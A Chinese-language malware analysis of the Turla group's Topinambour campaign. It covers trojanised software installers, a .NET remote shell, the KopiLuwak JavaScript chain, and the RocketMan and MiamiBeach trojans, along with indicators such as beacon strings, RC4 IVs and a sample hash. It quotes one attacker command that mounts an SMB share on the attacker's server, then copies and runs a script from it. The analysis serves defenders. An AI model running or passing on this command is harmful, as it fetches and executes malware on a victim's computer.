Turla也被称作Venomous Bear, Waterbug, Uroboros,是一个自2014年开始活跃的俄罗斯黑客组织,研究人员分析发现其最早的攻击活动可以追溯到2004年。Turla是个主要针对中东、欧洲、北美和南美以及前苏联国家外交和政府相关目标发起攻击的复杂网络攻击平台。
2019年开始,Turla不断更新攻击工具集。但其开发者仍然在使用类似的代码风格来开发新的工具。本文介绍其中一个恶意软件工具Topinambour和相关模块。该恶意软件的命名是.NET开发者自己命名的。
该新模块是从2019年初开始出现在攻击活动中,与以往的攻击活动类似,攻击目标为政府组织。.net模块的角色是传播一个已知的KopiLuwak JS木马。攻击者还使用了一个与KopiLuwak非常相似的严重混淆的PowerShell后门。攻击者使用的控制服务器中有许多是合法的但是被黑的WordPress站点(其中有攻击者植入的.php脚本)。
该.NET模块中含有字符串TrumpTower作为RC4加密的初始向量,RocketMan!和MiamiBeach作为受害者与控制服务器通信的第一个信标消息。
Topinambour的传播方式
为了将恶意软件进行传播,攻击者使用了感染了Topinambour dropper的合法的软件安装器。比如Softether VPN 4.12、psiphon3和Windows office激活器。
Dropper含有一个小的.net shell负责从攻击者处接收Windows shell命令。再加上从租用的VPS上的SMB,攻击者只需要复制Windows shell命令就可以传播下一阶段模块。很难相信SMB仍然可以通过公共网络访问。攻击活动相关的VPS是位于南非的,但其IP地址是197.168开头的,这前2个字节可能是为了模仿192.168开头的LAN地址。进一步分析发现,攻击目标的基础设施中攻击活动运营者使用了IPv6协议。
Topinambour目的
所有基础设施和JS、.NET和Powershell中模块的作用是在受害者计算机上构建无文件的模块链,这些受害者机器上要有一些含有加密的远程管理工具的Windows系统注册表值。该工具的作用包括上传、下载和执行文件,并获取目标系统的指纹。木马的Powershell版本还有截屏功能。
不同木马中东命令系统也是类似的
技术特征
有一个可行的假设就是用不同语言开发类似的恶意软件可以绕过检测:如果在受害者电脑上检测到一个版本,恶意软件运营者可以尝试不同语言版本的恶意软件。在下表中,研究人员对木马的加密密钥和发送给控制服务器的初始消息进行了比较。
研究人员分析的dropper是基于以下样本的:
SHA256 8bcf125b442f86d24789b37ce64d125b54668bc4608f49828392b5b66e364284MD5 110195ff4d7298ba9a186335c55b2d1fCompiled 2018.09.10 12:08:14 (GMT)Size 1 159 680原始名 topinambour.exe
研究人员分析的dropper样本实现了以下特征:
Topinambour作者将远程shell驻留函数命名为make_some_noise()
释放的.NET远程shell
释放的应用会从C2接收shell命令并静默地执行。
Topinambour .NET shell首先尝试从外部IP来获取命令,然后用可能被感染的LAN IP继续运行
向C2发送TCP请求后接收到的第一个DWORD (4个字节) 是以下随后通信的数据大小。下一个包中包含的数据是要用cmd.exe /c静默执行应用的Windows shell命令。
KopiLuwak dropper
下面介绍下著名的KopiLuwak。该.NET远程shell会静默地从C2来下载脚本,也就是从位于南非的远程VPS的共享SMB上来下载。Net use和copy Windows shell命令就可以完成任务。
cmd.exe /c net use \\197.168.0.247\c$ <user_pass_here> /user:administrator © /y \\197.168.0.247\c$\users\public\documents\i.js $documents\j.js & $documents\j.js
然后,受害者就感染了KopiLuwak混淆的JS。
反混淆的KopiLuwak dropper,将RC4解密密钥放到下一阶段驻留的计划任务中其函数描述如下所示:
释放的Chkdsk.js会用dropper的计划任务中提供的RC4 key来解密脚本,并运行解密的代码。最后一阶段是一个复杂的木马,可以分析和执行来自C2的定制命令。
攻击者获取的受害者数据是XML格式的:每个消息在初始位置都有一个16字节的签名和受害者指纹(开发者将其叫做ridid)。
解密和反混淆目标的哈希算法,基于Windows安装日期和16字节硬编码的字符串
恶意软件会与合法的被入侵的wordpress站点进行通信并从http://<legitimate domain>/wp-includes/Requests/Socks.php这样的URL处获取4字节长的命令。首先,恶意软件会发信标到C2服务器,并获取要执行的命令作为应答。
KopiLuwak JavaScript
下载的脚本会从Windows注册表中获取一个二进制文件并执行。不同目标的注册表的子键和值是不同的。
从注册表中运行payload的混淆的脚本
目前还不清楚注册表是怎么创建的,但攻击者一般使用.net初始感染。在一些样本中还有其他的函数来获取受害者的MAC地址。
这样,第一个JS感染链就结束了。下面介绍下第二个基于.NET的感染链。
.NET RocketMan木马
该木马被命名为RocketMan是因为开发者将其作为信标。恶意软件中的另一个字符串是TrumpTower,被用作RC4加密的初始向量。
恶意软件会从保存了之前stager的注册表中读取C2 IP地址和端口,处理通过HTTP接收到的来自C2的命令:
PowerShell MiamiBeach木马
Topinambour攻击活动背后的攻击者还使用了一个PowerShell木马。该木马中含有450个字符串,并使用TimesNewRoman作为RC4 初始向量来加密C2通信。
该模块使用HTTP POST和字符串MiamiBeach作为信标来与硬编码的C2进行通信。该木马与.NET RocketMan非常相似,可以处理相同的命令,而且含有命令#screen可以进行截屏。
结论
KopiLuwak使用PowerShell和.NET的目的可能是为了尽可能地绕过检测。使用Windows注册表来保存加密的数据之后被恶意软件广泛使用来减少被检测到的概率以及尽可能少地在受害者电脑上留下痕迹。
开发者使用了一些看似和美国有关的字符串,比如”RocketMan!”, “TrumpTower”, “make_some_noise”,但是使用KopiLuwak就证明了它与Turla组织有关。